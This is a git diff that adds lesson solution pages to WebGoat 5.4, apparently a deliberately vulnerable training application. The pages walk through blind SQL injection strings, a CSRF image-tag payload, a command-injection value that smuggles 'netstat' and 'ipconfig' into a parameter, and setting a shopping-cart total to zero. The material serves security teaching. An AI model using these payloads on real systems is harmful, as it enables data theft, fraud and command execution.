+If our command returns false, it makes the entire statement false and returns and invalid account, which indicates the pin number is below 10000. If it is above 10000, the opposite is true.
+The last step is to repeatedly use this command with a different number to the right of the > operator until we can determine the pin number.
+The pin number is 2364. Enter this number to complete the lesson.
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/BlindStringSqlInjection.htmlSOLBAK b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/BlindStringSqlInjection.htmlSOLBAK
new file mode 100644
index 000000000..5ad40b6cd
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/BlindStringSqlInjection.htmlSOLBAK
@@ -0,0 +1,904 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson Plan Title: How to Perform Blind SQL Injection
+
+
+
+
Concept / Topic To Teach:
+
+
SQL injection
+attacks represent a serious threat to any database-driven site. The methods behind
+an attack are easy to learn and the damage caused can range from considerable
+to complete system compromise. Despite these risks an incredible number of
+systems on the internet are susceptible to this form of attack.
+
+
+
+
Not only is
+it a threat easily instigated, it is also a threat that, with a little
+common-sense and forethought, can be almost totally prevented. This lesson will
+show the student several examples of SQL injection.
+
+
+
+
It is always
+good practice to sanitize all input data, especially data that will used in OS
+command, scripts, and database queries.
+
+
+
+
General Goal(s):
+
+
The user
+should be able to view all records in the specified table.The user could add new records or modify
+existing records.
+
+
+
+
From the hints J
+
+
Compound SQL
+statements can be made by joining multiple tests with keywords like AND and OR.
+Create a SQL statement that you can use as a true/false test and then select
+the first character of the target element and do a start narrowing down the
+character using > and <
+
+
+
+
The backend
+database is HSQLDB. Keep that in mind if you research SQL functions
+on the Internet since different databases use some different functions and
+syntax.
+
+
This is the
+code for the query being built and issued by WebGoat:
+
+
+
+
"SELECT
+* FROM user_data WHERE userid = " + accountNumber
+
+
The
+application is taking your input and inserting it at the end of a pre-formed
+SQL command. You will need to make use of the following SQL functions:
+
+
+
+
SELECT -
+query for your target data and get a string
+
+
+
+
substr(string,
+start, length) - returns a substring of string starting at the start character
+and going for length characters
+
+
+
+
ascii(string)
+will return the ascii value of the first character in string
+
+
+
+
> and <
+- once you have a character's value, compare it to a choosen one
+
+
Example: is
+the first character of the first_name of userid 15613 less than 'M' (ascii 77)?
+
+
+
+
+
101 AND (ascii(
+substr((SELECT first_name FROM user_data WHERE userid=15613) , 1 , 1) ) < 77 );
+
+
+
+
+
If you get
+back that account number is valid, then yes. If get back that the number
+is invalid then answer is no.
+
+
Another
+example: is the second character of the first_name of userid 15613 greater than
+'m' (ascii 109)?
+
+
+
+
101 AND (ascii(
+substr((SELECT first_name FROM user_data WHERE userid=15613) , 2 , 1) ) > 109
+);
+
+
+
+
If you get back
+that account number is valid, then yes. If get back that the number is invalid
+then answer is no.
+
+
+
+
+
+
Figure 1 Lesson 16
+
+
For the
+query: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613)
+, 1 , 1) ) < 77 ); you will get a "Account number is valid". If the
+character is bigger then the value you get an invalid account error message.
+
+
+
+
+
+
Figure 2 Invalid account number
+
+
+
+
You can
+change the < to = to make sure that you have the correct value.
+
+
This results
+in the query 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE
+userid=15613) , 1 , 1) ) = 74 );
+
+
+
+
+
+
Figure 3 First character
+
+
+
+
So you know
+that ascii(74) is capital J. Now do the same for the second and all other
+characters.
+
+
+
+
+
+
+
+
The query for
+the second character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE
+userid=15613) , 2 , 1) ) = 111 );
+
+
Ascii(111) =
+o, so you have now Jo.
+
+
+
+
+
+
+
+
For the third
+character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE
+userid=15613) , 3 , 1) ) = 101 ); Ascii(101) = e
+
+
For the
+fourth character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE
+userid=15613) , 4 , 1) ) = 115 ); Ascii(115) = s
+
+
For the fifth
+character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE
+userid=15613) , 5 , 1) ) = 112); Ascii(112) = p
+
+
For the sixth
+character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE
+userid=15613) , 6 , 1) ) = 104); Ascii(104) = h
+
+
+
+
So the name
+that you found is Joesph. Enter this in the text field to complete this lesson.
+
+
+
+
+
+
Figure 4 Enter the name Joesph
+
+
+
+
+
+
Figure 5 Lesson 16 Completed
+
+
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/filelist.xml
new file mode 100644
index 000000000..085ceea56
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/filelist.xml
@@ -0,0 +1,18 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image001.png
new file mode 100644
index 000000000..5fef4d85b
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image003.png
new file mode 100644
index 000000000..950942ed9
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image005.png b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image005.png
new file mode 100644
index 000000000..8c3ee5181
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image005.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image007.png b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image007.png
new file mode 100644
index 000000000..54ea1bcb2
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image007.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image009.png b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image009.png
new file mode 100644
index 000000000..3668266c4
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image009.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image011.png b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image011.png
new file mode 100644
index 000000000..9987542b3
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image011.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image013.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image013.jpg
new file mode 100644
index 000000000..f5c8d4841
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image013.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image014.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image014.jpg
new file mode 100644
index 000000000..68702bb41
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image014.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image015.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image015.jpg
new file mode 100644
index 000000000..b6e84a5fe
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image015.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image016.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image016.jpg
new file mode 100644
index 000000000..93a58e837
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image016.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image017.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image017.jpg
new file mode 100644
index 000000000..6055cba63
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image017.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image018.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image018.jpg
new file mode 100644
index 000000000..2e2bf3fc5
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/image018.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindSqlInjection_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BlindStringSqlInjection.html b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindStringSqlInjection.html
new file mode 100644
index 000000000..844892b9d
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindStringSqlInjection.html
@@ -0,0 +1,42 @@
+
+
+
+
+Solution: Blind String SQL Injection
+
+
+
+
Lesson Plan Title: Blind String SQL Injection
+
+
Concept / Topic To Teach:
+SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the internet are susceptible to this form of attack.
+
+Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented.
+
+It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queries, even if the threat of SQL injection has been prevented in some other manner.
+
+
+
+
General Goal(s):
+The form below allows a user to enter an account number and determine if it is valid or not. Use this form to develop a true / false test check other entries in the database.
+
+The goal is to find the value of the field name in table pins for the row with the cc_number of 4321432143214321. The field is of type varchar, which is a string.
+
+Put the discovered name in the form to pass the lesson. Only the discovered name should be put into the form field, paying close attention to the spelling and capitalization.
+
+
+Solution:
+This lesson is conceptually very similar to the previous lesson. The big difference is we are searching for a string, not a number.
+We will attempt to figure out the name the same way, by injecting a boolean expression into the pre-scripted SQL query. It looks similar to the one from the previous lesson:
+101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );
+We can compare characters the same way we can compare numbers. For example, N > M. However, without the SUBSTRING method, we are attempting to compare the entire string to one letter, which doesn't help us. The substring method has the following syntax:
+SUBSTRING(STRING,START,LENGTH)
+The expression above compares the first letter to H. It will return false and show invalid account number. Changing the boolean expression to < 'L' returns true, so we know the letter is between H and L. With a few more queries, we can determine the first letter is J. Note that capitalization matters, and it's right to assume the first letter is capitalized.
+To determine the second letter, we have to change the SUBSTRING parameters to compare against the second letter. We can use this command:
+101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'h' );
+Using several more queries, we can determine the second letter is i. Note that we are comparing the second character to a lowercase h. Continue this process until you have the rest of the letters.
+The name is Jill. Enter this name to complete the lesson. Capitalization matters.
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BypassHtmlFieldRestrictions.html b/webgoat-5.4/src/main/webapp/lesson_solutions/BypassHtmlFieldRestrictions.html
new file mode 100644
index 000000000..a0a7d4a84
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/BypassHtmlFieldRestrictions.html
@@ -0,0 +1,37 @@
+
+
+
+
+Solution: Bypass HTML Field Restrictions
+
+
+
+
Lesson Plan Title: Bypass HTML Field Restrictions
+
+
Concept / Topic To Teach:
+Client-side validation should not be considered a secure means of validating parameters. These validations only help reduce the amount of server processing time for normal users who do not know the format of required input. Attackers can bypass these mechanisms easily in various ways. Any client-side validation should be duplicated on the server side. This will greatly reduce the likelihood of insecure parameter values being used in the application
+
+
+
General Goal(s):
+The user should be able send the website input that it wasn't expecting.
+For this exercise, your job is to break the client side validation and send the website input that it wasn't expecting, including input for the disabled field. You must break all 6 validators at the same time.
+
+
+Solution:
+To solve this lesson, we need to put invalid characters (slashes, quotes, etc.) into all six fields. Since three of the fields are toggles or dropdowns, we will need to intercept the request with Webscarab.
+We still need to put invalid data in the disabled field, however. There are two ways of accomplishing this; we can enable the field using Firebug, or we can insert an additional field using Webscarab.
+
+To enable the field, open Firebug and find the form containing all of our fields. Find the text input named "disabledinput". Delete the disabled="" parameter. This causes the field on the page to be unlocked, and will also cause the disabledinput variable to appear in Webscarab.
+
+Enabled input after removing the "disabled" parameter in Firebug.
+The other option is to add another variable when intercepting the request with Webscarab. When the intercept request window pops up, use the insert button to add a new variable called disabledinput.
+Either way you add the input, the next step is to invalidate all of the responses. Put any symbol or character that isn't allowed in for each variable. Make sure you put more than five characters in the field that is limited by length.
+
+
+Correctly filled in request with all fields invalidated and the disabledinput variable added.
+
+Submit the request to complete the lesson.
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BypassHtmlFieldRestrictions_files/image001.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/BypassHtmlFieldRestrictions_files/image001.jpg
new file mode 100644
index 000000000..b7b54355c
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BypassHtmlFieldRestrictions_files/image001.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BypassHtmlFieldRestrictions_files/image002.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/BypassHtmlFieldRestrictions_files/image002.jpg
new file mode 100644
index 000000000..716f2aad9
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BypassHtmlFieldRestrictions_files/image002.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF.html b/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF.html
new file mode 100644
index 000000000..db3af3e8b
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF.html
@@ -0,0 +1,869 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson
+Plan Title: How to
+Perform Cross Site Request Forgery.
+
+
+
+
Concept
+/ Topic To Teach:
+
+
This
+lesson teaches how to perform Cross Site Request Forgery (CSRF) attacks.
+
+
+
+
How
+the attacks works:
+
+
Cross-Site
+Request Forgery (CSRF/XSRF) is an attack that tricks the victim into loading a
+page that contains img links like the one below:
When
+the victim's browser attempts to render this page, it will issue a request to
+www.mybank.com to the transferFunds.do page with the specified parameters. The
+browser will think the link is to get an image, even though it actually is a
+funds transfer function. The request will include any cookies associated with
+the site. Therefore, if the user has authenticated to the site, and has either
+a permanent cookie or even a current session cookie, the site will have no way
+to distinguish this from a legitimate user request. In this way, the attacker
+can make the victim perform actions that they didn't intend to, such as logout,
+purchase item, or any other function provided by the vulnerable website
+
+
+
+
General
+Goal(s):
+
+
Your
+goal is to send an email to a newsgroup that contains an image whose URL is
+pointing to a malicious request. Try to include a 1x1 pixel image that includes
+a URL. The URL should point to the CSRF lesson with an extra parameter
+"transferFunds=4000". You can copy the shortcut from the left hand
+menu by right clicking on the left hand menu and choosing copy shortcut.
+Whoever receives this email and happens to be authenticated at that time will
+have his funds transferred. When you think the attack is successful, refresh
+the page and you will find the green check on the left hand side menu.
+Note that the "Screen" and "menu" GET variables will vary between WebGoat builds. Copying the menu link on the left will give you the current values.
+
+
+
+
+
+
Figure 1 How to perform CSRF
+
+
+
+
Solution:
+
+
+
+
To
+complete this lesson you need to embed HTML code in the message box. This HTML
+code should contain a image tag linking to an URL that is not a real imagewill but start a transaction on the web
+server instead.
+
+
+
+
The
+format of an image in html is <img src="[URL]" width="1"
+height="1" />
+
+
The transaction can be triggered by an URL to the
+current lesson and an extra parameter "transferFunds" and the amount. The
+width=1 and height=1 will not show the image.
So create a new message with title "Test" and a
+message with the payload.
+
+
+
+
Figure 2 Insert payload
+
+
+
+
The page will refresh and you will see a new message
+in the message list.
+
+
+
+
+
+
Figure 3 New message test
+
+
+
+
Click
+on the message test. This will download the message and display the contents as
+HTML, executing the payload. Examine the HTTP Request in WebScarab that is
+generated when the browers tries to render the image tag.
+
+
+
+
+
+
Figure 4 CSRF attack
+
+
+
+
Now
+you need to refresh the page to get the green star next to the lesson.
+
+
+
+
+
+
Figure 5 Lesson completed
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/filelist.xml
new file mode 100644
index 000000000..7f94019c7
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/filelist.xml
@@ -0,0 +1,16 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/image001.png
new file mode 100644
index 000000000..9d82bd95a
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/image003.png
new file mode 100644
index 000000000..2189df262
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/image005.png b/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/image005.png
new file mode 100644
index 000000000..95949f62b
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/image005.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/image007.png b/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/image007.png
new file mode 100644
index 000000000..7bf06a985
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/image007.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/image009.png b/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/image009.png
new file mode 100644
index 000000000..d0e2f233c
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/image009.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/image011.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/image011.jpg
new file mode 100644
index 000000000..fbb254bd8
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/image011.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/image012.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/image012.jpg
new file mode 100644
index 000000000..32dbb3c02
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/image012.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/image013.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/image013.jpg
new file mode 100644
index 000000000..8d76909d8
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/image013.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/image014.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/image014.jpg
new file mode 100644
index 000000000..be9c8e294
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/image014.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/image015.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/image015.jpg
new file mode 100644
index 000000000..ef71f6923
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/image015.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/CSRF_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ClientSideFiltering.html b/webgoat-5.4/src/main/webapp/lesson_solutions/ClientSideFiltering.html
new file mode 100644
index 000000000..fe08a4bdf
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/ClientSideFiltering.html
@@ -0,0 +1,84 @@
+
+
+
+
+Client Side Filtering
+
+
+
+
Lesson Plan Title: Client Side Filtering
+
+
Concept / Topic To Teach:
+It is always a good practice to send to the client
+only information which they are supposed to have access to.
+In this lesson, too much information is being sent to the
+client, creating a serious access control problem.
+
+
+
General Goal(s):
+For this exercise, your mission is exploit the extraneous
+information being returned by the server to discover information
+to which you should not have access.
+
+
+Solution:
+
+This Lab consists of two Stages. In the first Stage you have to
+get sensitive information . In the second one you have to fix the problem.
+
+Stage 1
+
+Use Firebug to solve this stage. If you are using IE you can try it with
+IEWatch.
+
+First use any person from the list and see what you get. After doing this you
+can search for a specific person in Firebug. Make sure you find the hidden table with
+the information, including the salary and so on. In the same table you will find
+Neville.
+
+
+Inspect HTML on Firebug
+
+
+Now write the salary into the text edit box and submit your answer!
+
+Stage 2
+
+In this stage you have to modify the clientSideFiltering.jsp which you will find under
+the WebContent in the lessons/Ajax folder. The Problem is that
+the server sends all information to the client. As you could see
+even if it is hidden it is easy to find the sensitive date. In this
+stage you will add a filter to the XPath queries. In this file you will find
+following construct:
+This string will be used for the XPath query. You have to guarantee that a manger only
+can see employees which are working for him. To archive this you can use
+filters in XPath. Following code will exactly do this:
+Now only information is sent to your client you are authorized for. You can click on the button.
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ClientSideFiltering_files/clientside_firebug.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/ClientSideFiltering_files/clientside_firebug.jpg
new file mode 100644
index 000000000..e51a40ad0
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ClientSideFiltering_files/clientside_firebug.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ClientSideValidation.html b/webgoat-5.4/src/main/webapp/lesson_solutions/ClientSideValidation.html
new file mode 100644
index 000000000..b23fb0875
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/ClientSideValidation.html
@@ -0,0 +1,64 @@
+
+
+
+
+Insecure Client Storage
+
+
+
+
Lesson Plan Title: Insecure Client Storage
+
+
Concept / Topic To Teach:
+It is always a good practice to validate all input
+ on the server side. Leaving the mechanism for validation
+ on the client side leaves it vulnerable to reverse engineering.
+ Remember, anything on the client side should not be considered a secret.
+
+
+
+
General Goal(s):
+For this exercise, your mission is to discover a coupon
+code to receive an unintended discount. Then, exploit the use
+of client side validation to submit an order with a cost of zero.
+
+
Solution:
+For the solution you need a plugin for your browser, which is capable of debugging
+Javascript. For IE you can use IEWatch. This solution is written for Firebug
+which is a plugin for Firefox.
+
+
+Stage 1
+
+First we want to try to get a coupon code to get something cheaper. Open
+Firebug and click on the Script Tab. Make sure you choose clientSideValidation.js
+on the dropdown list. Toggle a breakpoint on the line:
+decrypted = decrypt(coupons[i]);
+Now enter a character in the coupon code field. The Javascript gets executed
+but stops at the breakpoint. On the right side you see the parameters
+and there values. Now use the step over symbol or F10. Now you can read
+the clear text of decrypted:
+
+
+
+Figure 1 Firebug in action
+
+
+Now that you know the coupon name enter it in the coupon field, purchase something
+and you are done.
+
+
+Stage 2
+
+You can not edit the Prices in the Shopping Cart. The reason is that the readonly
+attribute is set for this field.
+
+
To get rid of this attribute open Firebug. Make sure this time you use
+the HTML View. You can directly in
+Firebug search for readonly and elemenate this attribute.The field for the total is
+called GRANDTOT. After having deleted the readonly attribute from GRANDTOT
+it is possible to change the price directly in the browser. Select any products
+you like, change the total field to 0 and hit the purchase button.
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/ClientSideValidation_files/ClientSideValidation_stage1.png b/webgoat-5.4/src/main/webapp/lesson_solutions/ClientSideValidation_files/ClientSideValidation_stage1.png
new file mode 100644
index 000000000..e8f391339
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/ClientSideValidation_files/ClientSideValidation_stage1.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CommandInjection.html b/webgoat-5.4/src/main/webapp/lesson_solutions/CommandInjection.html
new file mode 100644
index 000000000..7e19dd78a
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/CommandInjection.html
@@ -0,0 +1,739 @@
+
+
+
+
+
+
+
+Solution: Command Injection
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson Plan Title: How to Perform Command Injection
+
+
+
+
Concept / Topic To Teach:
+
+
Command
+injection attacks represent a serious threat to any parameter-driven site. The methods
+behind an attack are easy to learn and the damage caused can range from
+considerable to complete system compromise. Despite these risks an incredible
+number of systems on the internet are susceptible to this form of attack.
+
+
+
+
Not only is
+it a threat easily instigated, it is also a threat that, with a little
+common-sense and forethought, can be almost totally prevented. This lesson will
+show the student several examples of parameter injection.
+
+
+
+
It is always
+good practice to sanitize all input data, especially data that will used in OS
+command, scripts, and database queries.
+
+
+
+
General Goal(s):
+
+
The user
+should be able to execute any command on the hosting OS.
+
+
+
+
+
+
Figure 1 Lesson 16
+
+
+
+
Solution:
+
+
+
+
Select a
+lesson from the drop-down box and click on "View".
+
+
+
+
+
+
+
+
Intercept the
+request with WebScarab when you click on "View". Append " & netstat -an
+& ipconfig to the HelpFile parameter. Do not forget the double quote!
+
+
+
+
+
+
Figure 2 Injecting command netstat & ipconfig
+
+
+
+
The result
+contains the output of the command netstat and ipconfig.
+
+
+
+
+
+
Figure 3 Command Injection results
+
+
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CommandInjection_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/CommandInjection_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/CommandInjection_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CommandInjection_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/CommandInjection_files/filelist.xml
new file mode 100644
index 000000000..c778dd663
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/CommandInjection_files/filelist.xml
@@ -0,0 +1,12 @@
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CommandInjection_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/CommandInjection_files/image001.png
new file mode 100644
index 000000000..95185ac08
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/CommandInjection_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CommandInjection_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/CommandInjection_files/image003.png
new file mode 100644
index 000000000..bb6e1e518
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/CommandInjection_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CommandInjection_files/image005.png b/webgoat-5.4/src/main/webapp/lesson_solutions/CommandInjection_files/image005.png
new file mode 100644
index 000000000..9c7ecd242
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/CommandInjection_files/image005.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/CommandInjection_files/image007.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/CommandInjection_files/image007.jpg
new file mode 100644
index 000000000..d82452e33
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/CommandInjection_files/image007.jpg differ
